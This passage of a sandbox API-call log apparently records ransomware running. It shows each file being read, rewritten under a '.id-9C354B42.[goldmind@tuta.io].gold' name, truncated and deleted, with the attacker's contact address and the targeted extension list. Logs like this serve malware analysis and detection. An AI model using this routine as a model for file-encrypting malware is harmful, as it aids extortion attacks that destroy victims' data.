[0055.096] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0055.096] lstrlenW (lpString=".7z") returned 3 [0055.096] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0055.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63 [0055.096] lstrlenW (lpString=".dbf") returned 4 [0055.096] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0055.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63 [0055.096] lstrlenW (lpString=".1cd") returned 4 [0055.096] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0055.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63 [0055.096] lstrlenW (lpString=".jpg") returned 4 [0055.096] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0055.096] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0055.096] lstrlenW (lpString="BS00184_.WMF") returned 12 [0055.096] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00184_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0055.097] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=4976) returned 1 [0055.097] CloseHandle (hObject=0x218) returned 1 [0055.097] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00184_.wmf")) returned 0x20 [0055.097] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00184_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0055.097] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0055.097] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.097] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.097] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00184_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0055.097] GetLastError () returned 0x0 [0055.097] ReadFile (in: hFile=0x218, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x1370, lpOverlapped=0x0) returned 1 [0055.098] WriteFile (in: hFile=0x200, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x1380, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0x1380, lpOverlapped=0x0) returned 1 [0055.099] ReadFile (in: hFile=0x218, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0055.099] WriteFile (in: hFile=0x200, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0055.099] SetEndOfFile (hFile=0x200) returned 1 [0055.100] CloseHandle (hObject=0x200) returned 1 [0055.100] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.100] SetEndOfFile (hFile=0x218) returned 1 [0055.100] CloseHandle (hObject=0x218) returned 1 [0055.100] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0055.101] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00184_.wmf")) returned 1 [0055.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63 [0055.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63 [0055.101] lstrlenW (lpString=".doc") returned 4 [0055.101] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0055.101] lstrlenW (lpString=".docx") returned 5 [0055.101] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0055.101] lstrlenW (lpString=".pdf") returned 4 [0055.101] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0055.101] lstrlenW (lpString=".xls") returned 4 [0055.101] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0055.101] lstrlenW (lpString=".xlsx") returned 5 [0055.101] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0055.101] lstrlenW (lpString=".ppt") returned 4 [0055.101] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0055.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63 [0055.101] lstrlenW (lpString=".zip") returned 4 [0055.101] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0055.101] lstrlenW (lpString=".rar") returned 4 [0055.101] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0055.101] lstrlenW (lpString=".bz2") returned 4 [0055.101] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0055.101] lstrlenW (lpString=".7z") returned 3 [0055.101] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0055.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63 [0055.101] lstrlenW (lpString=".dbf") returned 4 [0055.101] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0055.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63 [0055.101] lstrlenW (lpString=".1cd") returned 4 [0055.101] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0055.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63 [0055.101] lstrlenW (lpString=".jpg") returned 4 [0055.101] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0055.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63 [0055.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63 [0055.102] lstrlenW (lpString=".doc") returned 4 [0055.102] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0055.102] lstrlenW (lpString=".docx") returned 5 [0055.102] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0055.102] lstrlenW (lpString=".pdf") returned 4 [0055.102] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0055.102] lstrlenW (lpString=".xls") returned 4 [0055.102] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0055.102] lstrlenW (lpString=".xlsx") returned 5 [0055.102] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0055.102] lstrlenW (lpString=".ppt") returned 4 [0055.102] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0055.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63 [0055.102] lstrlenW (lpString=".zip") returned 4 [0055.102] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0055.102] lstrlenW (lpString=".rar") returned 4 [0055.102] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0055.102] lstrlenW (lpString=".bz2") returned 4 [0055.102] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0055.102] lstrlenW (lpString=".7z") returned 3 [0055.102] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0055.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63 [0055.102] lstrlenW (lpString=".dbf") returned 4 [0055.102] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0055.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63 [0055.102] lstrlenW (lpString=".1cd") returned 4 [0055.102] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0055.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63 [0055.102] lstrlenW (lpString=".jpg") returned 4 [0055.102] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0055.102] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0055.102] lstrlenW (lpString="BS00186_.WMF") returned 12 [0055.102] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00186_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0055.103] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=12788) returned 1 [0055.103] CloseHandle (hObject=0x218) returned 1 [0055.103] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00186_.wmf")) returned 0x20 [0055.103] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00186_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0055.103] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00186_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0055.103] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.103] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.103] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00186_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0055.104] GetLastError () returned 0x0 [0055.104] ReadFile (in: hFile=0x218, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x31f4, lpOverlapped=0x0) returned 1 [0055.105] WriteFile (in: hFile=0x200, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x3200, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0x3200, lpOverlapped=0x0) returned 1 [0055.106] ReadFile (in: hFile=0x218, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0055.106] WriteFile (in: hFile=0x200, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0055.106] SetEndOfFile (hFile=0x200) returned 1 [0055.106] CloseHandle (hObject=0x200) returned 1 [0055.106] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.106] SetEndOfFile (hFile=0x218) returned 1 [0055.107] CloseHandle (hObject=0x218) returned 1 [0055.107] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0055.107] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00186_.wmf")) returned 1 [0055.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63 [0055.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63 [0055.107] lstrlenW (lpString=".doc") returned 4 [0055.108] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0055.108] lstrlenW (lpString=".docx") returned 5 [0055.108] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0055.108] lstrlenW (lpString=".pdf") returned 4 [0055.108] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0055.108] lstrlenW (lpString=".xls") returned 4 [0055.108] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0055.108] lstrlenW (lpString=".xlsx") returned 5 [0055.108] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0055.108] lstrlenW (lpString=".ppt") returned 4 [0055.108] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0055.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63 [0055.108] lstrlenW (lpString=".zip") returned 4 [0055.108] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0055.108] lstrlenW (lpString=".rar") returned 4 [0055.108] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0055.108] lstrlenW (lpString=".bz2") returned 4 [0055.108] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0055.108] lstrlenW (lpString=".7z") returned 3 [0055.108] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0055.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63 [0055.108] lstrlenW (lpString=".dbf") returned 4 [0055.108] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0055.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63 [0055.108] lstrlenW (lpString=".1cd") returned 4 [0055.108] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0055.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63 [0055.108] lstrlenW (lpString=".jpg") returned 4 [0055.108] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0055.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63 [0055.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63 [0055.108] lstrlenW (lpString=".doc") returned 4 [0055.108] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0055.108] lstrlenW (lpString=".docx") returned 5 [0055.108] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0055.108] lstrlenW (lpString=".pdf") returned 4 [0055.108] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0055.108] lstrlenW (lpString=".xls") returned 4 [0055.108] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0055.108] lstrlenW (lpString=".xlsx") returned 5 [0055.108] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0055.108] lstrlenW (lpString=".ppt") returned 4 [0055.108] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0055.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63 [0055.108] lstrlenW (lpString=".zip") returned 4 [0055.108] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0055.109] lstrlenW (lpString=".rar") returned 4 [0055.109] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0055.109] lstrlenW (lpString=".bz2") returned 4 [0055.109] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0055.109] lstrlenW (lpString=".7z") returned 3 [0055.109] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0055.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63 [0055.109] lstrlenW (lpString=".dbf") returned 4 [0055.109] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0055.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63 [0055.109] lstrlenW (lpString=".1cd") returned 4 [0055.109] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0055.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63 [0055.109] lstrlenW (lpString=".jpg") returned 4 [0055.109] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0055.109] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0055.109] lstrlenW (lpString="BS00200_.WMF") returned 12 [0055.109] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00200_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0055.109] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=3104) returned 1 [0055.109] CloseHandle (hObject=0x218) returned 1 [0055.109] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00200_.wmf")) returned 0x20 [0055.109] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00200_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0055.109] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00200_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0055.110] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.110] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.110] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00200_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0055.110] GetLastError () returned 0x0 [0055.110] ReadFile (in: hFile=0x218, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0xc20, lpOverlapped=0x0) returned 1 [0055.111] WriteFile (in: hFile=0x200, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xc30, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xc30, lpOverlapped=0x0) returned 1 [0055.112] ReadFile (in: hFile=0x218, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0055.112] WriteFile (in: hFile=0x200, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0055.112] SetEndOfFile (hFile=0x200) returned 1 [0055.112] CloseHandle (hObject=0x200) returned 1 [0055.112] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.112] SetEndOfFile (hFile=0x218) returned 1 [0055.113] CloseHandle (hObject=0x218) returned 1 [0055.113] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0055.113] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00200_.wmf")) returned 1 [0055.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63 [0055.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63 [0055.113] lstrlenW (lpString=".doc") returned 4 [0055.113] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0055.113] lstrlenW (lpString=".docx") returned 5 [0055.113] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0055.113] lstrlenW (lpString=".pdf") returned 4 [0055.113] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0055.113] lstrlenW (lpString=".xls") returned 4 [0055.113] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0055.113] lstrlenW (lpString=".xlsx") returned 5 [0055.113] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0055.113] lstrlenW (lpString=".ppt") returned 4 [0055.113] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0055.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63 [0055.113] lstrlenW (lpString=".zip") returned 4 [0055.113] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0055.113] lstrlenW (lpString=".rar") returned 4 [0055.113] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0055.114] lstrlenW (lpString=".bz2") returned 4 [0055.114] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0055.114] lstrlenW (lpString=".7z") returned 3 [0055.114] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0055.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63 [0055.114] lstrlenW (lpString=".dbf") returned 4 [0055.114] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0055.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63 [0055.114] lstrlenW (lpString=".1cd") returned 4 [0055.114] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0055.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63 [0055.114] lstrlenW (lpString=".jpg") returned 4 [0055.114] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0055.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63 [0055.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63 [0055.114] lstrlenW (lpString=".doc") returned 4 [0055.114] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0055.114] lstrlenW (lpString=".docx") returned 5 [0055.114] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0055.114] lstrlenW (lpString=".pdf") returned 4 [0055.114] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0055.114] lstrlenW (lpString=".xls") returned 4 [0055.114] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0055.114] lstrlenW (lpString=".xlsx") returned 5 [0055.114] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0055.114] lstrlenW (lpString=".ppt") returned 4 [0055.114] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0055.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63 [0055.114] lstrlenW (lpString=".zip") returned 4 [0055.114] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0055.114] lstrlenW (lpString=".rar") returned 4 [0055.114] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0055.114] lstrlenW (lpString=".bz2") returned 4 [0055.114] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0055.114] lstrlenW (lpString=".7z") returned 3 [0055.114] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0055.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63 [0055.114] lstrlenW (lpString=".dbf") returned 4 [0055.114] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0055.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63 [0055.114] lstrlenW (lpString=".1cd") returned 4 [0055.114] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0055.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63 [0055.114] lstrlenW (lpString=".jpg") returned 4 [0055.114] 